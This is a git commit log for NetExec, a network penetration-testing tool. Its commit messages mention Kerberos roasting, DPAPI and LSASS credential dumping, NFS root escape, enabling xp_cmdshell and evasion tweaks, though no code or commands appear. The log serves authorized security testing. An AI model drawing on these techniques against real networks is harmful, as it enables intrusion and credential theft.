Alex 5509c6b018 Merge pull request #638 from Pennyw0rth/neff-fix-rid-brute
Catch rpc error nca_s_op_rng_error when method is not implemented
2025-04-12 14:32:03 +02:00
Alex c9d9e49068 Merge pull request #639 from Pennyw0rth/neff-fix-desc-module
Fix encoding issue in get-desc-user
2025-04-12 14:31:55 +02:00
Alexander Neff 13c554bce5 Show only user objects with admincount 2025-04-12 08:17:19 -04:00
Alexander Neff c5bf67abc0 Fix asreproast only returning one user 2025-04-11 21:16:17 -04:00
Alexander Neff eae7ed544f Use parsed resp for counting results 2025-04-11 21:10:25 -04:00
Alexander Neff 1dc56bfaca Clean up --kerberos 2025-04-11 20:54:07 -04:00
Alexander Neff 92f4435b4b Massively trim down logic of admin_count as most of it isn't used 2025-04-11 20:53:51 -04:00
Alexander Neff c47df0842c Massively trim down logic of password_not_required as most of it isn't used 2025-04-11 20:04:33 -04:00
Alexander Neff 373232dea9 Massively trim down logic of trusted_for_delegation as most of it isn't used 2025-04-11 19:55:24 -04:00
Alexander Neff 8b27ec57ae Massively trim down logic of asreproast as most of it isn't used 2025-04-11 19:44:45 -04:00
Alexander Neff 09ec961d04 Linting 2025-04-11 19:21:18 -04:00
Alexander Neff 0dcc51b106 Make use of format strings and fix english 2025-04-11 19:21:05 -04:00
Alexander Neff 96eda79ab8 Merge branch 'main' into patch_ldap_parsing 2025-04-11 18:48:51 -04:00
Alexander Neff 9cb9fe7728 Fix encoding issue in get-desc-user 2025-04-11 17:17:18 -04:00
Alexander Neff 385715440c Catch rpc error nca_s_op_rng_error when method is not implemented 2025-04-11 12:05:19 -04:00
Alex 5a786487b6 Merge pull request #637 from Pennyw0rth/neff-fix-ldap-hashauth 2025-04-10 10:34:06 +02:00
Alexander Neff dcf7e97470 Fix ldap hash auth with signing enforced 2025-04-09 20:02:51 -04:00
Alex 8cad72623e Merge pull request #636 from termanix/kerb-fix 2025-04-09 09:19:01 +02:00
Alexander Neff 47960d14c3 Move ccache check to enum_host to respect kdcHost logic (must stay empty in domain trust auth) 2025-04-08 18:31:11 -04:00
termanix 531b760fb6 Merge branch 'main' into kerb-fix 2025-04-08 15:40:29 -04:00
Alex 4e4dfae633 Merge pull request #633 from termanix/update-dpapi
SMB DPAPI Now Store Results, Issue  #632
2025-04-08 21:37:35 +02:00
termanix aa943aa08e ccache as default and setted if self.args.domain 2025-04-08 15:08:57 -04:00
Alexander Neff 725b1df643 Replace hardcoded nxc path with NXC_PATH 2025-04-08 15:02:24 -04:00
Alexander Neff 652558309d Move all lsa/sam/ntds/dpapi output files into seperate folders 2025-04-08 14:43:34 -04:00
termanix b32f95bcbc Takes domain value from ccache file Default principal 2025-04-08 14:02:51 -04:00
Alexander Neff f6c22db7be Remove null bytes from dpapi output 2025-04-08 09:33:29 -04:00
termanix 518f7d4078 ruff fix 2025-04-07 09:00:44 -04:00
Alex 27f58aee79 Merge pull request #634 from Pennyw0rth/neff-fix-ldap-baseDN
Fix the baseDN for admin_check for custom baseDN
2025-04-07 14:52:21 +02:00
Alexander Neff 7755d05431 Linting 2025-04-07 08:21:52 -04:00
Alexander Neff a24e1327ac Fix admin_check if a different baseDN was specified 2025-04-07 08:21:33 -04:00
termanix 13c02f4524 Saving dpapi results like sam, lsa, ntds, etc. 2025-04-07 07:59:18 -04:00
Alex 98062cb345 Merge pull request #630 from Pennyw0rth/neff-remove-firefox
Remove firefox module in favour of --dpapi which includes firefox
2025-04-03 21:03:56 +02:00
Alexander Neff 826dec4a89 Merge branch 'main' into neff-remove-firefox 2025-04-03 14:54:38 -04:00
Alexander Neff d5737c61b1 Remove firefox module in favour of --dpapi which includes firefox 2025-04-03 14:48:54 -04:00
Alexander Neff bcf6b37eaf Use context manager for files and improve code 2025-04-03 14:41:55 -04:00
Alexander Neff eb88dc5423 Rename ElementTree to ET for consistency 2025-04-03 14:41:29 -04:00
Alexander Neff a4bdf2b174 Mostly ignore firefox because it will be removed anyway 2025-04-03 14:24:09 -04:00
Alexander Neff 2f63732f00 One liner return values and format strings 2025-04-03 14:23:43 -04:00
Alexander Neff 1520f3cbd4 Remove unnecessary code and format string 2025-04-03 14:02:29 -04:00
Alexander Neff 768a401019 Leaving as is for readability 2025-04-03 14:02:07 -04:00
Alexander Neff 4255cab29d Adding exceptions for false positives 2025-04-03 13:57:22 -04:00
Alexander Neff f386434ce5 Lint daclread 2025-04-03 13:49:54 -04:00
Alexander Neff 67abbf8bf3 Disable RUF052, these are considered private not dummy 2025-04-03 13:38:28 -04:00
Alexander Neff 542452accb Apply C419, removing unnecessary list comprehensions 2025-04-03 13:26:38 -04:00
Alexander Neff bde58c4e56 Apply SIM401, use .get() over 'x if x else y' 2025-04-03 13:19:08 -04:00
Alexander Neff 89233700b6 Disable A004, as it complains about sys.exit which supposes to be superior in programs 2025-04-03 13:16:43 -04:00
Alexander Neff 42538e4c89 Disable false positive 2025-04-03 13:16:13 -04:00
Alexander Neff 52008c1b25 Remove unnecessary cast to int 2025-04-03 12:30:38 -04:00
Alexander Neff ae6721aa9a Remove all FURB rules, makes code more complicated 2025-04-03 12:27:35 -04:00
Alexander Neff a42c664326 Autofix with ruff 2025-04-03 12:22:06 -04:00
Alexander Neff 5782352622 Remove rule which converts 'x if x else y' and deletes unused variables 2025-04-03 12:19:38 -04:00
Alexander Neff 1289a0e025 Enable preview mode as recommended in our doc guidelines 2025-04-03 12:10:49 -04:00
Alexander Neff dc415e75e4 Fixed string concatination that is only available in py3.12+ 2025-04-03 12:04:21 -04:00
Alexander Neff 61e2e58e50 Fix UP031, remove percent string replacements 2025-04-03 12:01:33 -04:00
Alexander Neff 66e9927c3e Fix UP031, remove percent string replacements 2025-04-03 11:57:47 -04:00
Alexander Neff 31373e4cac Don't check for D413, missing-blank-line-after-last-section 2025-04-03 11:02:14 -04:00
Alexander Neff f4ad70635a Fix LOG015 and replace all calls to root logger 2025-04-03 11:01:27 -04:00
Alex 5a71b62acc Merge pull request #628 from Pennyw0rth/neff-fix-exec-output
Fix left handside indent from exec output
2025-04-03 16:16:55 +02:00
Alexander Neff 2c29856d92 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:59:53 -04:00
Alexander Neff b35cfe0671 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:46:28 -04:00
Alexander Neff 351979375b Update ruff to latest version 2025-04-03 09:45:31 -04:00
Alexander Neff d5978062ff Allow linting pipeline to run on review submittions like the test pipeline 2025-04-03 09:27:03 -04:00
Alexander Neff 1248552ef8 Linting 2025-04-03 09:00:33 -04:00
Alexander Neff ecad15e85a Fix left handside indent from powershell output 2025-04-03 08:44:51 -04:00
Alex 6fcfb8d031 Merge pull request #450 from Dfte/SMB]-ADd-the-recent_files-module
[SMB] Add the recent_files module
2025-04-02 01:35:22 +02:00
Alexander Neff f00c835c09 Merge branch 'main' into recent-files 2025-04-01 19:30:38 -04:00
Alexander Neff 0cdd60a60f Add no options text 2025-04-01 19:21:05 -04:00
Alex 99fe618dbd Merge pull request #625 from jdholtz/smb-cmdexec-improvements
smb: Prevent infinite loops handling an unknown error retrieving command output
2025-04-01 23:35:37 +02:00
Alex 677e25485b Merge pull request #626 from noraj/patch-1 2025-04-01 00:53:58 +02:00
Alexandre ZANNI 2747f1efd8 remove pywerview from spec
Signed-off-by: Alexandre ZANNI <[email protected]>
2025-04-01 00:43:53 +02:00
jdholtz 3897ceeb0a smb: Prevent infinite loops handling an unknown error retrieving command output
When an error like 'Broken pipe' occurs while trying to read the output
file from a command, the number of tries is not incremented, causing an
infinite loop fetching the output file (if this error keeps happening).
Now, the number of tries is incremented in this case. Also, the debug
messages were slightly improved to be more clear when failing to
retrieve output.
2025-03-31 11:38:34 -07:00
Alex f31fb4f098 Merge pull request #622 from Pennyw0rth/neff-fix-winscp
Improve WinSCP module
2025-03-30 15:23:04 +02:00
Alexander Neff a2b336d94a Remove command execution to enumerate local users and improve error handling 2025-03-30 09:14:58 -04:00
Alex 4ae32a73cd Merge pull request #602 from haytechy/output_users 2025-03-28 14:10:57 +01:00
Alexander Neff 37efce100a Fix logic when checking if args where specified and improve help text 2025-03-27 20:02:43 -04:00
Alexander Neff 75eecab8ed Convert --users-export to the same structure as in ldap 2025-03-27 19:52:48 -04:00
Alexander Neff a449284d20 Fix logic for debug output when user is specified 2025-03-27 19:41:42 -04:00
Alexander Neff 4eae4a2dd8 Make help description more precise 2025-03-27 19:39:51 -04:00
Alexander Neff 718b9fe4b6 Change variable name for export path and display export info line only when specified 2025-03-27 19:38:02 -04:00
Alex 2d3e1be1ab Merge pull request #620 from Pennyw0rth/spec-file
Fix spec file
2025-03-27 15:13:43 +01:00
Alex a0aaf1ad12 Merge pull request #619 from Pennyw0rth/neff-fix-putty
Add Error handling for loading users into registry
2025-03-27 15:13:32 +01:00
Alex 3318fa8ea2 Merge pull request #615 from Testeur-2-stylos/fix-smbv1-nxcdb
Update smb.py to test smbv1 connection before writing in nxcdb
2025-03-27 15:10:57 +01:00
Alexander Neff 71cfd4b347 Move logoff above smbv1 check 2025-03-27 09:49:23 -04:00
Alexander Neff 9c8e6f43ca Fix spec file 2025-03-27 09:40:46 -04:00
Alexander Neff 62ba3588ba Add Error handling for loading users into registry 2025-03-27 09:21:18 -04:00
Testeur_2_stylos 45f899219c Update smb.py to test smbv1 connection before writing in nxcdb
Signed-off-by: Testeur_2_stylos <[email protected]>
2025-03-26 10:16:54 +01:00
Kriyos 7b1f60d83d Merge branch 'Pennyw0rth:main' into main 2025-03-24 19:41:56 -04:00
Alex 8d0b4e3e7b Merge pull request #527 from lap1nou/fix-ldap-db
Added credential and host DB for LDAP protocol
2025-03-24 17:37:54 +01:00
Alexander Neff 52a28aa88d Formating 2025-03-24 12:32:54 -04:00
Alexander Neff ccf81517a4 Add db.add_creds for kerberos with SSL enforced 2025-03-24 12:23:50 -04:00
Alex 87a5c366df Merge pull request #611 from shikatano/pre2k-passwd-length
modified the password used in pre2k.py for machine names longer than …
2025-03-24 17:11:04 +01:00
Lou 4cd4dbbd83 modified the password used in pre2k.py for machine names longer than 14 characters 2025-03-23 12:14:42 -04:00
lap1nou 6b0cfcdea8 Added db_navigator stuff 2025-03-22 17:20:23 +01:00
lapinou 7146824299 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-03-21 23:46:05 +01:00
Marshall Hallenbeck 6de62472ef Merge pull request #590 from Pennyw0rth/marshall-db-ip-fix
fix: check if an IP is being searched for when calling get_hosts
2025-03-21 10:48:50 -04:00
termanix 4fcc4fdce4 updated for killing notepad.exe process 2025-03-19 18:52:14 -04:00
termanix 7e23c1b318 e2e_commands.txt editted 2025-03-19 17:02:21 -04:00
termanix 4634473609 owner name 2025-03-19 16:56:53 -04:00
termanix c2437b2b9b New module add notepad 2025-03-19 16:47:23 -04:00
Marshall Hallenbeck f4fa975d36 fix: check if the table uses ip or host for hosts before adding 2025-03-19 16:19:02 -04:00
Marshall Hallenbeck 166df14514 Merge branch 'main' into marshall-db-ip-fix 2025-03-19 15:46:39 -04:00
Alex aa832c5f1a Merge pull request #606 from jdholtz/ldap-timeout
Silently handle connection timed out during LDAP scan
2025-03-19 16:00:24 +01:00
Alexander Neff 0aeb105bd8 Add ENETUNREACH if the targeted network is not reachable 2025-03-19 10:49:33 -04:00
jdholtz 3fa2c746d6 Silently handle connection timed out during LDAP scan 2025-03-18 16:47:12 -07:00
mpgn da8ef0f0fb Merge pull request #604 from Pennyw0rth/ntlm
Add information if ntlm disabled
2025-03-18 16:34:13 +01:00
mpgn 87c223ed5e Add information if ntlm disabled 2025-03-17 19:04:18 +01:00
mpgn 91c339ea30 Merge pull request #603 from Pennyw0rth/fix_host
fix 0x_df issue with hosts file
2025-03-17 16:48:10 +01:00
mpgn 0f1c2f933b fix extra space 2025-03-17 15:55:33 +01:00
mpgn 450f1b2a89 fix extra space 2025-03-17 15:51:34 +01:00
mpgn 7723e74b30 fix 0x_df issue with hosts file 2025-03-17 15:40:56 +01:00
haytehcy 69baa8c133 Merge branch 'output_users' of https://github.com/haytechy/NetExec into output_users 2025-03-16 17:19:58 +00:00
haytehcy 7d8d1dbd2d Changed writelines to write on new lines 2025-03-16 17:19:29 +00:00
Alex 0892e066e4 Merge branch 'Pennyw0rth:main' into output_users 2025-03-16 15:50:57 +00:00
Alex ea77ad9a4e Merge pull request #597 from Pennyw0rth/neff-bug-fixes 2025-03-16 11:16:27 +01:00
mpgn cbcdf3acd3 Merge pull request #599 from Pennyw0rth/regsecret 2025-03-16 09:29:17 +01:00
haytehcy 8a35848474 Minor tweak/fixes to output users 2025-03-16 07:32:21 +00:00
Alexander Neff 1145cfe15f Make bool check a bit more explicit 2025-03-15 20:02:38 -04:00
haytehcy d6600d5f7c Minor tweak/fixes 2025-03-15 23:36:12 +00:00
haytehcy 0acdbbe345 Added Users Export 2025-03-15 23:20:29 +00:00
mpgn 1fe387e8f9 Merge branch 'main' into regsecret 2025-03-15 23:01:05 +01:00
mpgn 613fd5e48e fix ruff 2025-03-15 23:00:40 +01:00
mpgn a727f0283f Add choice to use old or new technique 2025-03-15 22:48:25 +01:00
Alex b520fdf9f5 Merge pull request #601 from Pennyw0rth/neff-revert-speed-improvs
Revert #411 due to connection issues (#479)
2025-03-15 17:48:06 +01:00
Alexander Neff 26c4847018 Revert #411 due to connection issues (#478, #479), possibly concurrency problems 2025-03-15 12:35:50 -04:00
Marshall Hallenbeck f0602c7804 Merge branch 'main' into marshall-db-ip-fix 2025-03-15 11:47:28 -04:00
Alex 340bc60759 Merge pull request #594 from Mercury0/asreproast-DNS-patch
Use host IP for DNS resolution in asreproast function if kdcHost not specified
2025-03-15 16:15:14 +01:00
Alexander Neff ae653c283b Add fix from ea7e0925a1 to the ldap protocol 2025-03-15 11:09:14 -04:00
Alexander Neff 7162fd9c3d Moved the fix for #592 to kerberoast class because otherwise user without password crashes without DNS 2025-03-15 11:08:35 -04:00
Alexander Neff adb423ef09 Remove unused imports 2025-03-15 10:20:30 -04:00
mpgn 97703063b6 Add regsecretdump technique 2025-03-14 23:17:33 +01:00
Marshall Hallenbeck 95ae5deb27 Merge branch 'main' into marshall-db-ip-fix 2025-03-14 10:12:46 -04:00
Alexander Neff c4bf023032 Improve logging output of --shares 2025-03-14 13:22:16 +01:00
Alexander Neff 493b12e1fb Fix get-unixUserPassword/get-userPassword modules which sometimes does not retrieve all users with these attributes 2025-03-14 11:33:38 +01:00
Alexander Neff d343e212cd Fix NFS indent for share listing 2025-03-13 14:41:54 +01:00
Alexander Neff c2cb7521df Fix ldap query output for output containing special chars, e.g. german äöü 2025-03-13 14:41:27 +01:00
Alexander Neff 98c4b15781 Fix wcc wsus check 2025-03-13 14:40:34 +01:00
Alexander Neff 36e4f4fb66 Set nfs timeout to 5 seconds 2025-03-11 14:52:27 +01:00
Alexander Neff 2621dcad02 If mount error still list share with available infos 2025-03-11 14:51:35 +01:00
Fox 725c96f57a Use host IP for DNS resolution for asreproasting 2025-03-10 09:05:40 -07:00
Alexander Neff fff8d09d2a If len(val_list) is zero val_list[0] will crash, this will now return the empty list 2025-03-10 16:04:41 +01:00
crosscutsaw e551d3e006 Update enable_cmdshell.py
Signed-off-by: crosscutsaw <[email protected]>
2025-03-09 22:07:51 +03:00
mpgn f8293d156b Merge pull request #579 from Pennyw0rth/remove_pywerview
Remove pywerview dependency
2025-03-09 11:25:42 +01:00
Alexander Neff 84dbe26bd6 Change wording to REMOVED as it actually is removed 2025-03-08 20:54:59 -05:00
Alexander Neff f7c6f20ba7 Sort member output by sid for better alignment 2025-03-08 20:49:45 -05:00
Alexander Neff 93446a593f Add Exception handling when we get rpc_access_denied 2025-03-08 20:17:51 -05:00
Alexander Neff ddc00c97da Raise exception on rpc_access_denied so it doesnt crash later for unkown reasons, use provided logger instead of nxc_logger 2025-03-08 20:16:47 -05:00
mpgn 0129b43a82 add poetry.lock 2025-03-08 22:40:30 +01:00
mpgn 25e7529a7c remove pywerview from pyproject 2025-03-08 22:36:23 +01:00
mpgn d279bb8ad1 fix ruff 2025-03-08 22:34:03 +01:00
mpgn 402ef37d02 Merge branch 'main' into remove_pywerview
Signed-off-by: mpgn <[email protected]>
2025-03-08 22:30:58 +01:00
mpgn a45ba3b0fc add local enumeration members on local group 2025-03-08 22:25:48 +01:00
Marshall Hallenbeck 9259825d36 Merge branch 'main' into marshall-db-ip-fix 2025-03-08 12:48:07 -05:00
Alexander Neff ec8abe6c6c Formating 2025-03-08 11:45:53 -05:00
Alex 0063ec0995 Merge pull request #574 from n3rada/main
Fix Poetry 2.1+ compatibility in `pyproject.toml`
2025-03-08 17:36:39 +01:00
Alexander Neff c7f28f5363 Remove poetry version lock in tests and remove duplicate poetry installation 2025-03-08 11:30:04 -05:00
Alexander Neff 875bf28b8b Remove unused packages 2025-03-08 10:49:19 -05:00
Alexander Neff 573a23c45a Pin pywerview to 0.3.3 2025-03-08 10:37:16 -05:00
Alexander Neff ed793d7883 Readd comments 2025-03-08 10:24:53 -05:00
Alexander Neff e87489f8ca Add commit 'distance' to version 2025-03-08 10:13:39 -05:00
Alex 23f4e63b65 Merge pull request #591 from Pennyw0rth/neff-patch-1
Catch ldap error if host is not reachable
2025-03-08 15:44:21 +01:00
Alex 6135e12cdb Merge pull request #464 from Dfte/Add---remoteuac-module
Create remote-uac.py
2025-03-08 15:42:54 +01:00
Alexander Neff dafc28a8c6 Catch ldap error if host is not reachable 2025-03-08 09:33:20 -05:00
Alexander Neff 62afd52961 Add option text 2025-03-08 09:17:11 -05:00
Alexander Neff 446bb30be3 Formating 2025-03-08 09:11:52 -05:00
Alexander Neff 02616525ca Rename module 2025-03-08 09:11:31 -05:00
Alex 7e1537b935 Merge branch 'main' into Add---remoteuac-module 2025-03-08 15:06:53 +01:00
Alexander Neff 7d80a3fceb Change deprecated output to fail 2025-03-08 08:19:19 -05:00
Alexander Neff 82002a7c3b Deprecate --loggeon-users-filter and spelling fix 2025-03-08 08:14:24 -05:00
Alexander Neff bb838c75e2 Apply filter by specifying a user for --loggedon-users arg 2025-03-08 08:09:57 -05:00
Marshall Hallenbeck 5889e55906 fix: check if an IP is being searched for when calling get_hosts in db calls; fixes #589 2025-03-07 20:02:45 -05:00
Alex c1e1205a9a Merge pull request #588 from Pennyw0rth/neff-patch-1 2025-03-07 16:39:16 +01:00
Alexander Neff d0a4be4447 Move connection error to info instead of fail similar to smb etc 2025-03-07 10:27:25 -05:00
Alexander Neff d214067218 Fix exception when it is not possible to list share 2025-03-07 10:18:05 -05:00
zblurx e68cc41906 Merge pull request #587 from Mercury0/ldap-checker-refactor
Improve reliability of ldap-checker module
2025-03-07 14:49:45 +01:00
n3rada d43b861533 Remove poetry.toml 2025-03-07 10:56:36 +01:00
Fox a91761a755 Improve reliability of ldap-checker module 2025-03-06 14:03:06 -08:00
Alex 9161b29e90 Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output 2025-03-04 06:59:40 -05:00
Alexander Neff d201e4047e Fix --groups for groups without users or only one user 2025-03-03 20:18:59 -05:00
Alexander Neff 9203a5817c Remove dead code that was used by --users and --computers 2025-03-03 20:01:01 -05:00
Alexander Neff 0a5c1fd698 Add --computers from smb to ldap 2025-03-03 19:58:57 -05:00
Alexander Neff fc6e34ef76 Deprecate group-mem module 2025-03-03 19:45:56 -05:00
Alexander Neff 24cdf8d604 Add possibility to enumerate group members via ldap 2025-03-03 19:39:47 -05:00
Alexander Neff 6e390e8957 Add deprecated label so it is easier to find when we remove deprecated stuff 2025-03-03 19:12:24 -05:00
Alex 674fe5ed88 Merge pull request #584 from Pennyw0rth/neff-nfs-escape-to-rootfs
Small bug fixes for NFS
2025-03-03 18:59:32 -05:00
Alexander Neff 8aec485b79 Formating 2025-03-03 18:41:38 -05:00
Alexander Neff 4a696dff7e Fix bug if file has other permissions than the directory. Also better error handling 2025-03-03 17:20:05 -05:00
Alexander Neff 19ba129350 Fix bug if upload target dir is root point 2025-03-03 17:19:23 -05:00
Alex 9768568b65 Merge pull request #583 from Pennyw0rth/neff-nfs-escape-to-rootfs
NFS escape to root fs
2025-03-03 12:37:37 -05:00
Alexander Neff 9e44b7f1ed Better english 2025-03-03 10:11:04 -05:00
Alexander Neff 5f533f2c8f More UID/GID updates and clean up 2025-03-03 10:07:30 -05:00
Alexander Neff 13a6653503 Remove unused import 2025-03-02 18:45:36 -05:00
Alexander Neff df4e992c52 Add root_escape for --get-file and --put-file 2025-03-02 18:43:35 -05:00
Alexander Neff 67ce02eae7 Clean up and comments 2025-03-02 13:17:11 -05:00
Alexander Neff 434b0f4b80 Fix for items that are not resolved by the readdirplus call 2025-03-02 13:15:09 -05:00
Alexander Neff 9e4366f97f Add implementation for 'ls' 2025-03-02 12:59:52 -05:00
Alexander Neff de95d01c64 Add check for root escape 2025-03-02 10:14:17 -05:00
mpgn 0814931cf0 Merge branch 'main' into remove_pywerview 2025-03-02 14:20:56 +01:00
Alexander Neff d87c379ac5 NFS root escape automated for each share 2025-02-27 19:27:53 -05:00
Alexander Neff d1f7db656b Merge branch 'main' into neff-nfs-escape-to-rootfs 2025-02-27 17:35:50 -05:00
Alexander Neff 4571f93dce Working on nfs root escape 2025-02-27 17:35:48 -05:00
Alex 253f797f58 Merge pull request #580 from Pennyw0rth/neff-patch-1
Linting
2025-02-26 23:51:34 +01:00
Alexander Neff 5da61176b4 Linting 2025-02-26 17:46:23 -05:00
Alex 1ade4d6702 Merge pull request #445 from Dfte/SMB]-Add---qwinsta-and---tasklist-options
[SMB] Add the --qwinsta and --tasklist options
2025-02-26 23:32:27 +01:00
mpgn 45ea1de213 add poetry.lock 2025-02-26 23:02:48 +01:00
mpgn 0083554cca ruff fix 2025-02-26 23:00:51 +01:00
mpgn 4cc5d87d12 remove smb-session option 2025-02-26 23:00:13 +01:00
mpgn ae684bf0df rework smb function to remove pywerview dependency 2025-02-26 22:52:21 +01:00
Alexander Neff ca5a076f1e Add IPv4 to qwinsta output 2025-02-26 16:09:41 -05:00
Alexander Neff 53b42df414 Add IPv4 to qwinsta output 2025-02-26 13:53:08 -05:00
Alexander Neff 74e6aa03c1 Pass local object to functions istead of using a class variable, alread in use 2025-02-26 12:54:51 -05:00
n3rada 47bb14680a Fix auto version 2025-02-26 18:39:03 +01:00
Alex 2343ddf62a Merge pull request #577 from Pennyw0rth/neff-patch-1
Rename ambigous function
2025-02-26 18:33:21 +01:00
Alexander Neff c9111968e2 Also rename the arg lol 2025-02-26 12:05:34 -05:00
Alexander Neff 6c807b283c Rename ambigous function 2025-02-26 11:51:12 -05:00
Alexander Neff 23de82520f Add missing kerberos parameter 2025-02-26 11:28:57 -05:00
Alex 80f00af37d Merge pull request #576 from Pennyw0rth/neff-patch-1
Fix ASCII Art
2025-02-26 17:17:03 +01:00
Alexander Neff 724401af7a Formating 2025-02-26 11:15:56 -05:00
Alexander Neff 98c92077cc Replace single quote with double quote 2025-02-26 11:14:40 -05:00
Alexander Neff cb76ad8ded Fix ASCII Art 2025-02-26 09:32:03 -05:00
n3rada 7688320925 Updating poetry.lock and pyproject.toml 2025-02-26 09:55:42 +01:00
Alex c97e562bcc Merge pull request #575 from Mercury0/powershell_history_fix
Refactored powershell_history module to fix case sensitivity
2025-02-26 09:40:58 +01:00
Alexander Neff 6120249dd0 Simplify code 2025-02-26 03:36:22 -05:00
Fox b14830f17a Refactored powershell_history module to fix case sensitivity 2025-02-25 14:25:30 -08:00
n3rada f79a652723 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:26:48 +01:00
n3rada 384eb30cdd Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:25:15 +01:00
n3rada 7b44298e21 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:24:54 +01:00
n3rada dd72ee377d Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:23:15 +01:00
n3rada f6c376df17 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:52 +01:00
n3rada e50bf7e686 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:07 +01:00
n3rada 8a9e9a164c Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:19:21 +01:00
Alex a53a1ce865 Merge pull request #573 from Pennyw0rth/zblurx-fix-ldap-checker
LDAP checker fix when checking without creds
2025-02-25 15:04:23 +01:00
zblurx 2d21f4d7a6 LDAP checker fix when checking without creds 2025-02-25 12:40:13 +01:00
Alexander Neff ad6c385493 Typo 2025-02-23 13:14:06 -05:00
Alex 307aa248cb Merge pull request #571 from Pennyw0rth/neff-fix-py3.13 2025-02-21 10:26:54 +01:00
Alexander Neff 1911ca9e51 Update impacket and pynfsclient 2025-02-20 18:36:51 -05:00
Alexander Neff c6c1c2f14e Update github workflows to py3.13 2025-02-20 18:35:43 -05:00
Alexander Neff 4ffdbde343 Fix python 3.13 logging issue 2025-02-20 18:34:06 -05:00
emre dc2a262598 Update presence.py
bugfix
2025-02-20 20:31:06 +03:00
Alex bba9e72530 Merge pull request #568 from jdholtz/smbexec-timeout
[smb] Always delete output file
2025-02-19 23:57:49 +01:00
Alexander Neff 342a13021b Bug fixes and output formating 2025-02-19 14:38:13 -05:00
Alexander Neff 3235b1d9df Add description to output 2025-02-19 13:53:24 -05:00
Alexander Neff c60141f38b Correct spelling 2025-02-19 13:06:59 -05:00
Alexander Neff 18f7033acd Add salted dpapi decryption for latest veeam installations 2025-02-19 13:06:37 -05:00
Alex bb8f92092d Merge pull request #569 from Pennyw0rth/neff-patch-1 2025-02-19 01:37:21 +01:00
Alexander Neff 0cc9a452f2 Add exception handling for NetBIOSTimeout Exceptions 2025-02-18 12:26:00 -05:00
Alexander Neff 39f1309ff2 Formating 2025-02-18 10:29:49 -05:00
Alexander Neff 1476373519 Change output path from temp to nxc folder 2025-02-18 10:25:43 -05:00
Alexander Neff 4de3f32629 Add exception handling for listing a single folder 2025-02-18 10:24:14 -05:00
jdholtz 1d4b4cbc60 [smb] Always delete output file 2025-02-16 22:56:17 -08:00
Alex c2f85db63b Merge pull request #565 from Pennyw0rth/neff-patch-1 2025-02-12 00:15:38 +01:00
Alexander Neff 5e14baee44 Fix #564 2025-02-11 18:00:08 -05:00
emre a053462e8c Create presence.py
high privilege smb module that traces domain level admin presences in target
2025-02-09 13:03:56 +03:00
Alex 8046495d3f Merge pull request #560 from Pennyw0rth/neff-patch-1
Fix hardcoded option
2025-02-09 02:07:06 +01:00
Marshall Hallenbeck c0fc42ba26 Merge branch 'main' into neff-patch-1 2025-02-08 20:04:56 -05:00
Alexander Neff 5969756b35 Fix hardcoded option to arg 2025-02-08 19:59:50 -05:00
Alex ab34ca7577 Merge pull request #441 from termanix/patch-6
Update users and active-users against anonymous ldap authentication
2025-02-09 00:24:59 +01:00
Alexander Neff f282ca7dae Fix format string 2025-02-08 18:21:34 -05:00
Alex 449ce2468f Merge branch 'main' into patch-6 2025-02-08 23:35:42 +01:00
Alexander Neff d5b5ec9d86 Replace user disabled value with constant 2025-02-08 17:25:45 -05:00
Alexander Neff c7a08866f4 Formating 2025-02-08 17:18:38 -05:00
Alexander Neff 45e5e4c3e8 Improve readability 2025-02-08 17:17:57 -05:00
Alexander Neff b5b9f07575 Simplify logic 2025-02-08 17:08:52 -05:00
Alexander Neff 310cc9b333 Improve readability 2025-02-08 16:10:56 -05:00
mpgn f46f63b86d Merge pull request #537 from Pennyw0rth/backup_operator
Add Backup operators module
2025-02-08 18:32:01 +01:00
Alexander Neff f3ebe6b781 Fix detection if SAM/SYSTEM/SECURITY were deleted 2025-02-08 09:14:43 -05:00
Alexander Neff f6cd501eed Fix imports and don't force quit 2025-02-08 08:33:29 -05:00
Alexander Neff d8020bba2b Add Kerberos support and comments 2025-02-08 08:20:32 -05:00
emre 619e477c1f Create enable_cmdshell.py
high privilege module that enables or disables xp_cmdshell in mssql server
2025-02-08 15:44:15 +03:00
emre fa3eba48df Update dump-computers.py
made some adjustments for better experience
2025-02-08 14:34:04 +03:00
emre 25ac2e2a2a Update dump-computers.py
added fqdn only
2025-02-07 16:56:13 +03:00
emre 8c37f34ace Create dump-computers.py
ldap module
2025-02-07 12:50:50 +03:00
mpgn 78c08dfb6d Merge pull request #552 from jdholtz/smbexec-delete-service
[smb] Always delete service when using smbexec
2025-02-03 08:03:13 +01:00
Alex 9e1643610c Merge pull request #541 from termanix/update-exe-nxc-data
Updated exe files while putting for evasion
2025-02-03 00:45:14 +01:00
Alexander Neff 97fb011169 Simplify code 2025-02-02 18:41:35 -05:00
Alex 3f06ea9812 Merge pull request #542 from termanix/fix-dump-files-deleting
Fix lsass Dump Files Deleting Process When Dump Fail
2025-02-03 00:31:57 +01:00
Alexander Neff f87535ee3a Lint 2025-02-02 18:18:12 -05:00
Alexander Neff cb6cef60e8 Increase readability and don't force quit on error 2025-02-02 18:13:20 -05:00
Alexander Neff 7d918e403b Increase readability 2025-02-02 18:11:09 -05:00
Alexander Neff 056b69a92c Lint 2025-02-02 18:10:01 -05:00
Alexander Neff 34063e3410 Increase readability 2025-02-02 18:09:30 -05:00
Alex 6a6fa94800 Merge pull request #553 from termanix/ruff-fix 2025-02-02 17:50:20 +01:00
termanix 643519ddc1 ruff fixed f-string without any placeholders 2025-02-02 11:41:30 -05:00
jdholtz 7f43b4a4dd [smb] Wrap the service deletion in a separate try/except block 2025-01-30 10:18:14 -08:00
jdholtz d6445d553e [smb] Always delete service when using smbexec 2025-01-29 12:24:56 -08:00
mpgn c904f3aa81 Merge pull request #547 from Joytide/main
Fix: privileged groups SID not found error
2025-01-26 22:14:39 +01:00
Joytide 34f6ce2580 Added debug output on lack of default privileged RID 2025-01-26 02:48:09 +01:00
